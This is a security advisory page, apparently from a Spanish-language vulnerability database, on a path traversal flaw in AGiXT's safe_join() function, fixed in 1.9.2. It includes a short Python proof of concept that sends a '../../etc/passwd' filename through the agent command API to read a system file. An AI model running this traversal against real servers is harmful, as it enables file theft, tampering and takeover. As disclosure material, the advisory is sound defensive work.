AGiXT Vulnerable to Path Traversal in safe_join()
Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.
Details
agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)
# source
command_args = command.command_args
# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)
# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))PoC
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
import requests
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
headers = {"Authorization": f"Bearer {TOKEN}"}
payload = {
"command_name": "read_file",
"command_args": {
"filename": "../../etc/passwd"
}
}
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...Impact
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | agixt | < 1.9.2 | 1.9.2 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-22- Plataforma
- Python (PyPI)
- Paquete
agixt- Publicada
- 08.04.2026
- Actualizado
- 11.10.2026 14:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2093 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-5gfj-64gh-mgmw - CC BY 4.0
Historial de vulnerabilidades: agixt
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
Esta es la única vulnerabilidad conocida de este paquete.
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.